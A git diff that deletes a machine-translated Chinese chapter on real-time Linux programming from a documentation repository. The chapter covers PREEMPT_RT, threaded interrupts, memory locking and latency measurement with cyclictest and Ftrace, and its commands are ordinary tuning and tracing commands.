-当您对内核的行为有特定的问题时,Ftrace 就会发挥作用。 `function`和`function_graph`跟踪器提供函数调用关系和顺序的详细视图。 事件跟踪器允许您提取有关函数的更多信息,包括参数和返回值。 LTTng 利用事件跟踪机制执行类似的任务,并添加高速环形缓冲区以从内核提取大量数据。 Valgrind 的优点是可以在沙箱中运行代码,并且可以报告以其他方式很难追踪到的错误。 使用 Callgrind 工具,它可以生成调用图并报告处理器缓存使用情况,使用 Helgrind,它可以报告与线程相关的问题。 - -最后,不要忘记`strace`。 从跟踪文件打开调用到查找文件路径名,再到检查系统唤醒和传入信号,它是一个很好的备用工具,可以用来找出程序正在进行的系统调用。 - -始终要注意并尽量避免观察者效应;确保您正在进行的测量对生产系统有效。 在下一章中,I -将继续讨论这个主题,我们将深入研究延迟跟踪程序,这些跟踪程序可以帮助我们量化目标系统的实时性能。 - -# 进一步阅读 - -我强烈推荐 Brendan Gregg 所著的*Systems Performance:Enterprise and the Cloud*、*Second Edition*和*BPF Performance Tools:Linux System and Application Observability*。 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/21.md b/docs/master-emb-linux-prog/21.md deleted file mode 100644 index c083999b..00000000 --- a/docs/master-emb-linux-prog/21.md +++ /dev/null @@ -1,517 +0,0 @@ -# 二十一、实时编程 - -计算机系统与现实世界之间的许多交互都是实时发生的,因此这是嵌入式系统开发人员的一个重要课题。 到目前为止,我已经在几个地方谈到了实时编程:在[*章*](17.html#_idTextAnchor473),*学习进程和线程*中,我们研究了调度策略和优先级反转,在[*第 18 章*](18.html#_idTextAnchor502),*管理内存*中,我描述了页面错误的问题和内存锁定的必要性。 现在是时候把这些话题集中在一起,深入了解实时编程了。 - -在本章中,我将从讨论实时系统的特性开始,然后从应用和内核两个层面考虑对系统设计的影响。 我将描述实时`PREEMPT_RT`内核补丁,并展示如何获取它并将其应用于主线内核。 最后几节将描述如何使用两个工具来表征系统延迟:**cyclictest**和**Ftrace**。 - -在嵌入式 Linux 设备上实现实时行为还有其他方法,例如,像 Xenomai 和 RTAI 那样,在 Linux 内核旁边使用专用微控制器或单独的实时内核。 我不打算在这里讨论这些问题,因为本书的重点是使用 Linux 作为嵌入式系统的核心。 - -在本章中,我们将介绍以下主题: - -* 什么是实时? -* 找出非决定论的根源 -* 了解调度延迟 -* 内核抢占 -* 实时 Linux 内核(`PREEMPT_RT`) -* 可抢占内核锁 -* 高分辨率定时器 -* 避免页面错误 -* 中断屏蔽 -* 测量调度延迟 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 至少具有 60 GB 可用磁盘空间的基于 Linux 的主机系统 -* Buildroot 2020.02.9 LTS 版本 -* Yocto 3.1(邓费尔)LTS 版本 -* 适用于 Linux 的蚀刻器 -* 一种 microSD 卡读卡器和卡 -* 比格尔博恩黑 -* 一种 5V 1A 直流电源 -* 用于网络连接的以太网电缆和端口 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*安装了 Buildroot 的 2020.02.9 LTS 版本。 如果没有,请参考 Buildroot 用户手册([https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html))的*系统要求*部分,然后再按照[*第 6 章*](06.html#_idTextAnchor164)的说明在您的 LINUX 主机上安装 Buildroot。 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*安装了 Yocto 的 3.1(Dunfall)LTS 发行版。 如果没有,请参考*Yocto Project Quick Build*指南([https://www.yoctoproject.org/docs/current/briefyoctoprojectqs/brief-yoctoprojectqs.html](https://www.yoctoproject.org/docs/current/briefyoctoprojectqs/brief-yoctoprojectqs.html))的*Compatible Linux Distribution*和*Build Host Packages*部分,然后根据[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上安装 Yocto。 - -# 什么是实时? - -实时编程的本质是软件工程师喜欢详细讨论的主题之一,经常给出一系列相互矛盾的定义。 我将从我认为关于实时的重要内容开始。 - -如果任务必须在某个时间点(称为截止日期**截止日期**)之前完成,则该任务是实时任务。 实时任务和非实时任务之间的区别是通过考虑在编译 Linux 内核的同时在计算机上播放音频流时发生的事情来说明的。 第一个是实时任务,因为有恒定的数据流到达音频驱动器,并且音频样本块必须以回放速率写入音频接口。 同时,由于没有截止日期,编译不是实时的。 您只是希望它尽快完成;无论需要 10 秒还是 10 分钟,都不会影响内核二进制文件的质量。 - -另一件需要考虑的重要事情是错过最后期限的后果,从轻微的烦恼到系统故障,或者在最极端的情况下,受伤或死亡。 以下是一些例子: - -* **播放音频流**:有几十毫秒量级的截止时间。 - 如果音频缓冲区不足,您将听到咔哒声,这很烦人,但您会克服的。 -* **移动和点击鼠标**:的截止时间也是几十毫秒。 如果错过了,鼠标会不规律地移动,按钮点击也会丢失。 如果问题仍然存在,系统将变得无法使用。 -* **打印一张纸**:进纸截止日期在毫秒范围内,如果错过该截止日期,可能会导致打印机卡纸,必须有人去修复。 偶尔卡纸是可以接受的,但没有人会买持续卡纸的打印机。 -* **生产线上的瓶子打印保质期**:如果没有打印一瓶,整条生产线必须停产,取下瓶子,重新启动生产线,成本很高。 -* **烤蛋糕**:截止时间是 30 分钟左右。 如果你错过几分钟,蛋糕可能会被毁掉。 如果你错过太多,房子可能会烧毁。 -* **电源浪涌检测系统**:如果系统检测到浪涌,则必须在 2 毫秒内触发断路器。 如果不这样做,将导致设备损坏,并可能导致人员受伤或死亡。 - -换句话说,错过最后期限会带来很多后果。 我们经常谈到这些不同的类别: - -* **软实时**:理想的是期限,但有时会错过,而不会将系统视为故障。 前面列表中的前两个示例就是这样的示例。 -* **硬实时**:在这里,错过截止日期会产生严重影响。 我们可以将硬实时进一步细分为任务关键型系统和安全关键型系统,在任务关键型系统中,错过最后期限是有代价的,例如第四个示例;在安全关键型系统中,存在生命危险的系统,例如后两个示例。 我放入烘焙示例是为了说明并不是所有的硬实时系统都有以毫秒或微秒为单位的截止日期。 - -为安全关键型系统编写的软件必须符合各种标准,以确保其能够可靠地运行。 像 Linux 这样的复杂操作系统很难满足这些要求。 - -当涉及到任务关键型系统时,Linux 被广泛用于各种控制系统是可能的,也是常见的。 软件的要求取决于截止日期和置信度的组合,这通常可以通过广泛的测试来确定。 - -因此,要说一个系统是实时的,您必须测量它在最大预期负载下的响应时间,并证明它满足商定的时间比例的最后期限。 根据经验,使用主线内核的配置良好的 Linux 系统适用于截止日期低至几十毫秒的软实时任务,而带有`PREEMPT_RT`补丁的内核适用于截止日期低至几百微秒的软实时和硬实时任务关键型系统。 - -创建实时系统的关键是减少响应时间的可变性,这样您就更有信心不会错过最后期限;换句话说,您需要使系统更具确定性。 通常,这是以牺牲性能为代价的。 例如,缓存通过缩短访问数据项的平均时间使系统运行得更快,但在缓存未命中的情况下,最长时间会更长。 缓存使系统速度更快,但确定性更低,这与我们想要的相反。 - -给小费 / 翻倒 / 倾覆 - -它的速度很快,这是实时计算的神话。 事实并非如此;系统的确定性越强,最大吞吐量就越低。 - -本章的其余部分将介绍如何确定延迟的原因,以及您可以采取哪些措施来减少延迟。 - -# 确定非决定论的来源 - -从根本上说,实时编程就是确保实时控制输出的线程在需要时得到调度,从而能够在最后期限之前完成作业。 任何阻止这一点的事情都是一个问题。 以下是一些问题领域: - -* **调度**:实时线程必须在其他线程之前调度,因此它们必须具有实时策略`SCHED_FIFO`或`SCHED_RR`。 此外,根据我在[*第 17 章*](17.html#_idTextAnchor473),*学习进程和线程*中描述的速率单调分析理论,它们应该按照降序分配优先级,从截止日期最短的开始。 -* **调度延迟**:一旦发生中断或计时器等事件,内核必须能够重新调度,并且不会受到无限延迟的影响。 减少调度延迟是本章后面的一个关键主题。 -* **优先级反转**:这是基于优先级的调度的结果,当高优先级线程在低优先级线程持有的互斥上被阻塞时,会导致无限延迟,如我在[*第 17 章*](17.html#_idTextAnchor473),*了解进程和线程*中所述。 用户空间有优先级继承和优先级上限互斥锁;在内核空间,我们有 RT-mutex,它们实现优先级继承,我将在关于实时内核的一节中讨论它们。 -* **精确计时器**:如果想要在低毫秒或微秒范围内管理截止日期,则需要匹配的计时器。 高精度计时器至关重要,几乎是所有内核的配置选项。 -* **页面错误**:执行代码的关键部分时的页面错误将扰乱所有计时估计。 您可以通过锁定内存来避免它们,我稍后将对此进行描述。 -* **中断**:它们在不可预测的时间发生,如果突然出现大量中断,可能会导致意想不到的处理开销。 有两种方法可以避免这种情况。 一种是将中断作为内核线程运行,另一种是在多核设备上屏蔽一个或多个 CPU 的中断处理。 我稍后将讨论这两种可能性。 -* **处理器缓存**:这些在 CPU 和主内存之间提供缓冲,并且与所有缓存一样,是不确定性的来源,尤其是在多核设备上。 不幸的是,这超出了本书的范围,但您可能希望参考本章末尾的参考资料以了解更多详细信息。 -* **内存总线争用**:当个外围设备直接通过 DMA 通道访问内存时,它们会耗尽一片内存总线带宽,这会减慢来自 CPU 核心(或多个核心)的访问速度,从而导致程序执行的不确定性。 但是,这是一个硬件问题,也超出了本书的范围。 - -在接下来的几节中,我将详述最重要的问题,并看看可以做些什么来解决这些问题。 - -# 了解调度延迟 - -一旦实时线程有事情要做,就需要对它们进行调度。 然而,即使没有具有相同或更高优先级的其他线程,从唤醒事件发生的点(中断或系统计时器)到线程开始运行的时间总是有延迟的。 这称为**调度延迟**。 可以将分解为几个组件,如下图所示: - -![Figure 21.1 – Scheduling latency](img/B11566_21_001.jpg) - -图 21.1-计划延迟 - -首先,从断言中断开始到**中断服务例程**(**ISR**)开始运行之间存在硬件中断延迟。 这其中有一小部分是中断硬件本身的延迟,但最大的问题是由于软件中禁用了中断。 最小化此*IRQ 关闭时间*非常重要。 - -下一个是中断延迟,这是 ISR 服务中断并唤醒等待此事件的所有线程之前的时间长度。 这在很大程度上取决于 ISR 的编写方式。 通常,它应该只需要很短的时间(以微秒为单位)。 - -最后一个延迟是抢占延迟,即从通知内核线程准备运行到调度程序实际运行线程的时间。 这取决于内核是否可以被抢占。 如果它在临界区运行代码,那么重新调度将不得不等待。 延迟的长度取决于内核抢占的配置。 - -# 内核抢占 - -发生抢占延迟是因为抢占当前执行线程并调用调度程序并不总是安全或可取的。 主线 Linux 有三种抢占设置,通过**内核功能**|**抢占模型**菜单选择: - -* `CONFIG_PREEMPT_NONE`:无抢占。 -* `CONFIG_PREEMPT_VOLUNTARY`:这将启用对抢占请求 - 的额外检查。 -* `CONFIG_PREEMPT`:这允许内核被抢占。 - -当抢占设置为`none`时,内核代码将继续运行而不重新调度,直到它通过`syscall`返回用户空间(在那里总是允许抢占),或者遇到停止当前线程的休眠等待。 由于它减少了内核和用户空间之间的转换次数,并可能减少上下文切换的总次数,因此此选项以较大的抢占延迟为代价获得最高吞吐量。 对于吞吐量比响应速度更重要的服务器和某些桌面内核,它是默认设置。 - -第二个选项启用显式抢占点,如果设置了`need_resched`标志,则会在其中调用调度程序,这会减少最坏情况下的抢占延迟,但会以略微降低吞吐量为代价。 某些发行版在台式机上设置此选项。 - -第三个选项使内核可抢占,这意味着只要内核没有在原子上下文中执行,中断就可能导致立即重新调度,我将在下一节中描述这一点。 这减少了最坏情况下的抢占等待时间,因此,在典型的嵌入式硬件上,总体调度等待时间减少到几毫秒左右。 - -这通常被描述为软实时选项,大多数嵌入式内核都是以这种方式配置的。 当然,总体吞吐量会有小幅下降,但这通常不如对嵌入式设备进行更确定的调度重要。 - -## 实时 Linux 内核(PREMPT_RT) - -对于这些特性的内核配置选项 -,**PREMPT_RT**,长期致力于进一步减少延迟。 该项目 -由 Ingo Molnar、Thomas Gleixner 和 Steven Rostedt 发起,多年来得到了更多开发人员的贡献。 内核补丁位于[https://www.kernel.org/pub/linux/kernel/projects/rt](https://www.kernel.org/pub/linux/kernel/projects/rt),维基位于[https://wiki.linuxfoundation.org/realtime/start](https://wiki.linuxfoundation.org/realtime/start)。 虽然已过时,但也可以在[https://rt.wiki.kernel.org/index.php/Frequently_Asked_Questions](https://rt.wiki.kernel.org/index.php/Frequently_Asked_Questions)上找到常见问题解答。 - -多年来,该项目的许多部分已经整合到主流 Linux 中,包括高精度计时器、内核互斥锁和线程化中断处理程序。 然而,核心补丁仍然留在主线之外,因为它们具有相当强的侵入性,而且(有些人声称)只使 Linux 用户总数中的一小部分受益。 也许有一天,整个补丁集将被上游合并。 - -中心计划是减少内核在**原子上下文**中运行所花费的时间,这是调用调度器并切换到不同线程不安全的地方。 典型的原子上下文是内核处于以下状态时: - -* 运行中断或陷阱处理程序。 -* 持有旋转锁定或处于 RCU 关键区。 自旋锁和 RCU 是内核锁定原语,这里不涉及它们的细节。 -* 在调用`preempt_disable()`和`preempt_enable()`之间。 -* 硬件中断被禁用(**IRQs OFF**)。 - -作为`PREEMPT_RT`的一部分的更改分为两个主要方面:一个是通过将中断处理程序转变为内核线程来减少中断处理程序的影响,另一个是使锁成为可抢占的,以便线程可以在持有一个锁的同时休眠。 很明显,在这些更改中有很大的开销,这使得平均情况下的中断处理变得更慢,但更具确定性,这正是我们正在努力的目标。 - -## 线程化中断处理程序 - -并非所有中断都是实时任务的触发器,但所有中断都会从实时任务窃取周期。 线程中断处理程序允许将优先级与中断相关联,并在适当的时间对其进行调度,如下图所示: - -![Figure 21.2 – In-line versus threaded interrupt handlers](img/B11566_21_002.jpg) - -图 21.2-串联中断处理程序与线程化中断处理程序 - -如果中断处理程序代码作为内核线程运行,则没有理由它不能被更高优先级的用户空间线程抢占,因此中断处理程序不会导致用户空间线程的调度延迟。 自 2.6.30 以来,线程中断处理程序一直是主流 Linux 的一项功能。 您可以通过将单个中断处理程序注册到`request_threaded_irq()`而不是普通的`request_irq()`来请求将其线程化。 通过使用`CONFIG_IRQ_FORCED_THREADING=y`配置内核,您可以将线程化 IRQ 设置为缺省值,这会使所有处理程序成为线程,除非它们通过设置`IRQF_NO_THREAD`标志显式阻止了这一点。 当您应用`PREEMPT_RT`补丁时,默认情况下,中断以这种方式配置为线程。 以下是您可能会看到的一个示例: - -```sh -# ps -Leo pid,tid,class,rtprio,stat,comm,wchan | grep FF -PID TID CLS RTPRIO STAT COMMAND WCHAN -3 3 FF 1 S ksoftirqd/0 smpboot_th -7 7 FF 99 S posixcputmr/0 posix_cpu_ -19 19 FF 50 S irq/28-edma irq_thread -20 20 FF 50 S irq/30-edma_err irq_thread -42 42 FF 50 S irq/91-rtc0 irq_thread -43 43 FF 50 S irq/92-rtc0 irq_thread -44 44 FF 50 S irq/80-mmc0 irq_thread -45 45 FF 50 S irq/150-mmc0 irq_thread -47 47 FF 50 S irq/44-mmc1 irq_thread -52 52 FF 50 S irq/86-44e0b000 irq_thread -59 59 FF 50 S irq/52-tilcdc irq_thread -65 65 FF 50 S irq/56-4a100000 irq_thread -66 66 FF 50 S irq/57-4a100000 irq_thread -67 67 FF 50 S irq/58-4a100000 irq_thread -68 68 FF 50 S irq/59-4a100000 irq_thread -76 76 FF 50 S irq/88-OMAP UAR irq_thread -``` - -在这种情况下,是运行`linux-yocto-rt`的 Beaglebone,只有`gp_timer`中断没有线程。 定时器中断处理程序以内联方式运行是正常的。 - -重要音符 - -所有中断线程都被赋予了默认的`SCHED_FIFO`策略和优先级`50`。 然而,将它们保留为缺省值是没有意义的;现在您可以根据中断相对于实时用户空间线程的重要性来分配优先级了。 - -以下是线程优先级的建议降序顺序: - -* POSIX 计时器线程`posixcputmr`应始终具有最高优先级。 -* 与最高优先级实时线程关联的硬件中断。 -* 最高优先级的实时线程。 -* 对于优先级逐渐降低的实时线程,硬件中断,随后是线程本身。 -* 下一个最高优先级的实时线程。 -* 非实时接口的硬件中断。 -* 软 IRQ 守护进程`ksoftirqd`在 RT 内核上负责运行延迟的中断例程,在 Linux3.6 之前,它负责运行网络堆栈、块 I/O 层等。 您可能需要尝试不同的优先级来实现平衡。 - -您可以使用`chrt`命令作为引导脚本的一部分,使用如下命令更改优先级: - -```sh -# chrt -f -p 90 `pgrep irq/28-edma` -``` - -`pgrep`命令是`procps`包的一部分。 - -既然我们已经通过线程中断处理程序介绍了实时 Linux 内核,那么让我们更深入地研究它的实现。 - -# 可抢占的内核锁 - -使大多数内核锁可抢占是`PREEMPT_RT`所做的最具侵入性的更改,此代码保留在主线内核之外。 - -这个问题发生在旋转锁上,旋转锁用于大部分内核锁定。 自旋锁是一个忙碌等待的互斥体,在争用的情况下不需要上下文切换,因此只要持有锁的时间很短,它就非常有效。 理想情况下,它们的锁定时间应该少于重新安排两次所需的时间。 下图显示了在两个不同 CPU 上运行的线程争用同一旋转锁定。 **CPU 0**首先获得它,强制**CPU 1**旋转,直到其解锁: - -![Figure 21.3 – Spin lock](img/B11566_21_003.jpg) - -图 21.3-旋转锁 - -持有旋转锁的线程不能被抢占,因为这样做可能会使新线程在试图锁定相同的旋转锁时进入相同的代码和死锁。 因此,在主线 Linux 中,锁定自旋锁会禁用内核抢占, -创建原子上下文。 这意味着持有自旋锁的低优先级线程可以阻止高优先级线程被调度,这种情况也称为 -,也称为*优先级反转*。 - -重要音符 - -`PREEMPT_RT`采用的解决方案是用 RT-mutex 替换几乎所有的自旋锁。 互斥体比自旋锁慢,但它是完全可抢占的。 不仅如此,RT-Mutex 还实现了优先级继承,因此不容易受到优先级反转的影响。 - -现在我们对`PREEMPT_RT`补丁中的内容有了一个概念。 那么,我们如何着手获取它们呢? - -## 获取 PREMPT_RT 补丁 - -由于移植工作量较大,RT 开发人员不会为每个内核版本创建补丁集。 平均而言,它们为每个其他内核创建补丁。 撰写本文时支持的最新内核如下: - -* 5.10-rt -* 5.9-rt -* 5.6-rt -* 5.4-rt -* 5.2-rt -* 5.0-rt -* 4.19-rt -* 4.18-rt -* 4.16-rt -* 4.14-rt -* 4.13-rt -* 4.11-rt - - 重要音符 - - 补丁程序可在[https://www.kernel.org/pub/linux/kernel/projects/rt](https://www.kernel.org/pub/linux/kernel/projects/rt)获得。 - -如果您使用的是 Yocto 项目,那么已经有了`rt`版本的内核。 否则,您获得内核的地方可能已经应用了`PREEMPT_RT`补丁。 如果没有,您将不得不自己应用补丁。 首先,确保`PREEMPT_RT`补丁版本与您的内核版本完全匹配;否则,您将无法干净地应用补丁。 然后,以正常方式应用它,如以下命令行中的 -所示。 然后,您将能够使用`CONFIG_PREEMPT_RT_FULL`配置内核: - -```sh -$ cd linux-5.4.93 -$ zcat patch-5.4.93-rt51.patch.gz | patch -p1 -``` - -上一段有个问题。 仅当您使用兼容的主线内核时,RT 补丁才适用。 您可能不是,因为这是嵌入式 Linux 内核的本质。 因此,您必须花一些时间查看失败的补丁并修复它们,然后分析您的目标的主板支持,并添加任何缺少的实时支持。 这些细节再一次超出了本书的范围。 如果您不确定要做什么,您应该向您正在使用的内核供应商和内核开发人员论坛请求支持。 - -## Yocto 项目和 PROMPT_RT - -Yocto 项目提供了两个标准内核配方:`linux-yocto`,后者已经应用了实时补丁。 假设您的目标受 Yocto 内核支持,您只需选择`linux-yocto-rt`作为首选内核,并声明您的机器是兼容的,例如,向您的`conf/local.conf`添加类似于以下内容的行: - -```sh -PREFERRED_PROVIDER_virtual/kernel = "linux-yocto-rt" -COMPATIBLE_MACHINE_beaglebone = "beaglebone" -``` - -现在,我们知道了从哪里获得实时 Linux 内核,让我们换个话题,讨论一下计时问题。 - -# 高分辨率定时器 - -如果你有精确的计时要求,那么计时器分辨率很重要,这是实时应用的典型要求。 Linux 中的默认计时器是以可配置的频率运行的时钟,对于嵌入式系统,通常为 100 Hz,对于服务器和台式机,通常为 250 Hz。 两个计时器滴答之间的间隔是,称为**jiffy**,在前面给出的例子中,在嵌入式 SoC 上是 10 毫秒,在服务器上是 4 毫秒。 - -Linux 从 2.6.18 版的实时内核项目中获得了更精确的计时器,现在只要有高分辨率的计时器源代码和设备驱动程序,它们就可以在所有平台上使用--这几乎总是如此。 您需要使用`CONFIG_HIGH_RES_TIMERS=y`配置内核。 - -启用此功能后,所有内核和用户空间时钟都将精确到底层硬件的粒度。 很难找到实际的时钟粒度。 显而易见的答案是`clock_getres(2)`提供的值,但它总是要求 1 纳秒的分辨率。 稍后我将介绍的`cyclictest`工具有一个选项,可以分析时钟报告的时间以猜测分辨率: - -```sh -# cyclictest -R -# /dev/cpu_dma_latency set to 0us -WARN: reported clock resolution: 1 nsec -WARN: measured clock resolution approximately: 708 nsec -``` - -您还可以查看如下字符串的内核日志消息: - -```sh -# dmesg | grep clock -OMAP clockevent source: timer2 at 24000000 Hz -sched_clock: 32 bits at 24MHz, resolution 41ns, wraps every 178956969942ns -OMAP clocksource: timer1 at 24000000 Hz -Switched to clocksource timer1 -``` - -这两种方法提供了截然不同的数字,对此我没有很好的解释,但由于两者都在 1 微秒以下,我很高兴。 - -高分辨率计时器可以足够精确地测量延迟的变化。 现在,让我们来看看几种缓解这种不确定性的方法。 - -# 避免页面错误 - -当应用读取或写入未提交到物理内存的内存时,会发生**页错误**。 不可能(或很难)预测页面错误何时会发生,因此它们是计算机中不确定性的另一个来源。 - -幸运的是,有一个函数允许您提交进程使用的所有内存并将其锁定,这样它就不会导致页面错误。 它是`mlockall(2)`。 这是它的两面旗帜: - -* `MCL_CURRENT`:此选项锁定当前映射的所有页面。 -* `MCL_FUTURE`:此选项锁定稍后在中映射的页面。 - -通常在应用启动期间调用`mlockall`,并将这两个标志设置为锁定所有当前和未来的内存映射。 - -给小费 / 翻倒 / 倾覆 - -`MCL_FUTURE`不是魔术,因为在使用`malloc()`/`free()` -或`mmap()`分配或释放堆内存时,仍然会有不确定的延迟。 这样的操作最好在启动时完成,而不是在主控制循环中完成。 - -在堆栈上分配的内存比较棘手,因为它是自动完成的,如果您调用一个使堆栈比以前更深的函数,您将遇到更多的内存管理延迟。 一个简单的解决方法是将堆栈的大小增加到您认为在启动时永远不会需要的大小。 代码如下所示: - -```sh -#define MAX_STACK (512*1024) -static void stack_grow (void) -{ - char dummy[MAX_STACK]; - memset(dummy, 0, MAX_STACK); - return; -} -int main(int argc, char* argv[]) -{ - […] - stack_grow (); - mlockall(MCL_CURRENT | MCL_FUTURE); - […] -``` - -`stack_grow()`函数在堆栈上分配一个较大的变量,然后将其置零,以强制将这些内存页提交给该进程。 - -中断是我们应该警惕的另一个非决定论的来源。 - -# 中断屏蔽 - -使用线程化中断处理程序比不影响实时任务的中断处理程序以更高的优先级运行某些线程,从而帮助减少中断开销。 如果您使用的是多核处理器,您可以采取一种不同的方法,完全屏蔽一个或多个内核处理中断,从而允许它们专用于实时任务。 这可以与普通 Linux 内核或`PREEMPT_RT`内核一起使用。 - -实现这一点的问题是将实时线程固定到一个 CPU,而将中断处理程序固定到另一个 CPU。 您可以使用`taskset`命令行工具设置线程或进程的 CPU 亲和性,也可以使用`sched_setaffinity(2)`和`pthread_setaffinity_np(3)`函数。 - -要设置中断的亲和性,首先要注意,`/proc/irq/`中的每个中断号都有一个子目录。 中断的控制文件在其中,包括`smp_affinity`中的 CPU 掩码。 向该文件写入位掩码,并为允许处理该 IRQ 的每个 CPU 设置一个位。 - -堆栈增长和中断屏蔽是提高响应性的绝妙技术,但是如何判断它们是否真的在工作呢? - -# 测量调度延迟 - -如果您不能证明您的设备满足最后期限,那么您可能做的所有配置和调优都将是毫无意义的。 您将需要自己的基准来进行最终测试,但我将在这里描述两个重要的度量工具:`cyclictest`和 Ftrace。 - -## 循环测试 - -`cyclictest`最初由 Thomas Gleixner 编写,现在大多数平台上都可以使用名为`rt-tests`的包。 如果您使用的是 Yocto 项目,则可以通过构建实时图像配方来创建包含`rt-tests`的目标图像,如下所示: - -```sh -$ bitbake core-image-rt -``` - -如果您使用的是 Buildroot,则需要在**目标包**|**调试、分析和基准测试**|**RT-TESTS**菜单中添加`BR2_PACKAGE_RT_TESTS`包。 - -`cyclictest`通过比较睡眠的实际时间和请求的时间来测量调度延迟。 如果没有延迟,它们将相同,报告的延迟将为 0。 `cyclictest`假定定时器分辨率小于 1 微秒。 - -它有大量的命令行选项。 首先,您可以尝试在目标系统上以`root`身份运行此命令: - -```sh -# cyclictest -l 100000 -m -n -p 99 -# /dev/cpu_dma_latency set to 0us -policy: fifo: loadavg: 1.14 1.06 1.00 1/49 320 -T: 0 ( 320) P:99 I:1000 C: 100000 Min: 9 Act: 13 Avg: 15 Max: 134 -``` - -选择的选项如下: - -* `-l N`:循环`N`次(缺省值为无限制)。 -* `-m`:这会使用`mlockall`锁定内存。 -* `-n`:这使用`clock_nanosleep(2)`而不是`nanosleep(2)`。 -* `-p N`:这使用实时优先级`N`。 - -结果行从左到右显示以下内容: - -* `T: 0`:这是线程`0`,此运行中的唯一线程。 您可以使用参数`-t`设置线程数。 -* `(320)`:这是 PID`320`。 -* `P:99`:优先级为`99`。 -* `I:1000`:循环之间的间隔为 1000 微秒。 您可以使用`-i N`参数设置间隔。 -* `C:100000`:此线程的最终循环计数为 100,000。 -* `Min: 9`:最小延迟为 9 微秒。 -* `Act:13`:实际延迟为 13 微秒。 *实际延迟*是最新的延迟测量,只有在您查看`cyclictest`运行时才有意义。 -* `Avg:15`:平均潜伏期为 15 微秒。 -* `Max:134`:最大延迟为 134 微秒。 - -这是在运行未修改的`linux-yocto`内核的空闲系统上获得的,作为该工具的快速演示。 要真正有用,您应该在 24 小时或更长时间内运行测试,同时运行代表您期望的最大值的负载。 - -在`cyclictest`产生的数字中,最大延迟是最有趣的,但最好能了解这些值的分布情况。 您可以通过添加`-h `来获得延迟达`N`微秒的样本直方图。 使用该技术,我获得了同一目标板运行内核的三条轨迹:无抢占、标准抢占和 RT 抢占,同时加载来自**泛洪 ping**的以太网流量。 命令行如下所示: - -```sh -# cyclictest -p 99 -m -n -l 100000 -q -h 500 > cyclictest.data -``` - -然后,我使用`gnuplot`创建了下面的三个图表。 如果您很好奇, -数据文件和`gnuplot`命令脚本位于`MELP/Chapter21/plot`的代码归档中。 - -以下是在没有抢占的情况下生成的输出: - -![Figure 21.4 – No preemption](img/B11566_21_004.jpg) - -图 21.4-无抢占 - -在没有抢占的情况下,大多数样本都在截止日期的 100 微秒内,但也有一些离群值高达*500 微秒*,这与您的预期大相径庭。 - -这是使用标准抢占生成的输出: - -![Figure 21.5 – Standard preemption](img/B11566_21_005.jpg) - -图 21.5-标准抢占 - -在抢占的情况下,样本分布在较低端,但不会超过 120 微秒。 - -以下是使用 RT 抢占生成的输出: - -![Figure 21.6 – RT preemption](img/B11566_21_006.jpg) - -图 21.6-RT 抢占 - -RT 内核显然是赢家,因为所有东西都紧紧地集中在 20 微秒的标志附近,并且没有超过 35 微秒的时间。 - -`cyclictest`则是调度延迟的标准度量。 但是,它不能帮助您识别和解决内核延迟的特定问题。 为此,您需要 ftrace。 - -## 使用 Ftrace - -内核函数跟踪程序有个跟踪程序来帮助跟踪内核延迟-毕竟这就是它最初编写的目的。 这些跟踪器捕获运行期间检测到的最坏情况延迟的跟踪,显示导致延迟的功能。 - -感兴趣的跟踪器以及内核配置参数如下所示: - -* `irqsoff`:`CONFIG_IRQSOFF_TRACER`跟踪禁用中断的代码,记录最坏的情况。 -* `preemptoff`:`CONFIG_PREEMPT_TRACER`类似于`irqsoff`,但跟踪内核抢占被禁用的最长时间(仅在可抢占内核上可用)。 -* `preemptirqsoff`:组合前两条轨迹以记录禁用`irqs`和/或抢占的最长时间。 -* `wakeup`:跟踪并记录唤醒最高优先级任务后调度该任务所需的最大延迟。 -* `wakeup_rt`:这与`wakeup`相同,但仅适用于使用`SCHED_FIFO`、`SCHED_RR`或`SCHED_DEADLINE`策略的实时线程。 -* `wakeup_dl`:这是相同的,但仅适用于具有`SCHED_DEADLINE`策略的截止日期调度的线程。 - -请注意,运行 Ftrace 会在每次捕获新的最大值时增加很多延迟,大约是几十毫秒,这是 Ftrace 本身可以忽略的。 但是,它会歪曲用户空间跟踪器(如`cyclictest`)的结果。 换句话说,如果在捕获跟踪时运行`cyclictest`,请忽略它的结果。 - -选择跟踪程序与我们在[*第 20 章*](20.html#_idTextAnchor561),*分析和跟踪*中看到的函数跟踪程序相同。 以下是在禁用抢占`60`秒的情况下捕获最长时间段的跟踪的示例: - -```sh -# echo preemptoff > /sys/kernel/debug/tracing/current_tracer -# echo 0 > /sys/kernel/debug/tracing/tracing_max_latency -# echo 1 > /sys/kernel/debug/tracing/tracing_on -# sleep 60 -# echo 0 > /sys/kernel/debug/tracing/tracing_on -``` - -经过大量编辑后得到的轨迹如下所示: - -```sh -# cat /sys/kernel/debug/tracing/trace -# tracer: preemptoff -# -# preemptoff latency trace v1.1.5 on 3.14.19-yocto-standard -# ------------------------------------------------------------ -# latency: 1160 us, #384/384, CPU#0 | (M:preempt VP:0, KP:0, SP:0 HP:0) -# ----------------- -# | task: init-1 (uid:0 nice:0 policy:0 rt_prio:0) -# ----------------- -# => started at: ip_finish_output -# => ended at: __local_bh_enable_ip -# -# -# _------=> CPU# -# / _-----=> irqs-off -# | / _----=> need-resched -# || / _---=> hardirq/softirq -# ||| / _--=> preempt-depth -# |||| / delay -# cmd pid ||||| time | caller -# \ / ||||| \ | / -init-1 0..s. 1us+: ip_finish_output -init-1 0d.s2 27us+: preempt_count_add <-cpdma_chan_submit -init-1 0d.s3 30us+: preempt_count_add <-cpdma_chan_submit -init-1 0d.s4 37us+: preempt_count_sub <-cpdma_chan_submit -[…] -init-1 0d.s2 1152us+: preempt_count_sub <-__local_bh_enable -init-1 0d..2 1155us+: preempt_count_sub <-__local_bh_enable_ip -init-1 0d..1 1158us+: __local_bh_enable_ip -init-1 0d..1 1162us!: trace_preempt_on <-__local_bh_enable_ip -init-1 0d..1 1340us : -``` - -在这里,您可以看到在运行跟踪时禁用内核抢占的最长时间是`1160`微秒。 这个简单的事实可以通过阅读`/sys/kernel/debug/tracing/tracing_max_latency`获得,但是前面的跟踪更进一步,它给出了导致该度量的内核函数调用序列。 标记为`delay`的列显示了跟踪中调用每个函数的点,以在`1162us`处调用`trace_preempt_on()`结束,此时再次启用内核抢占。 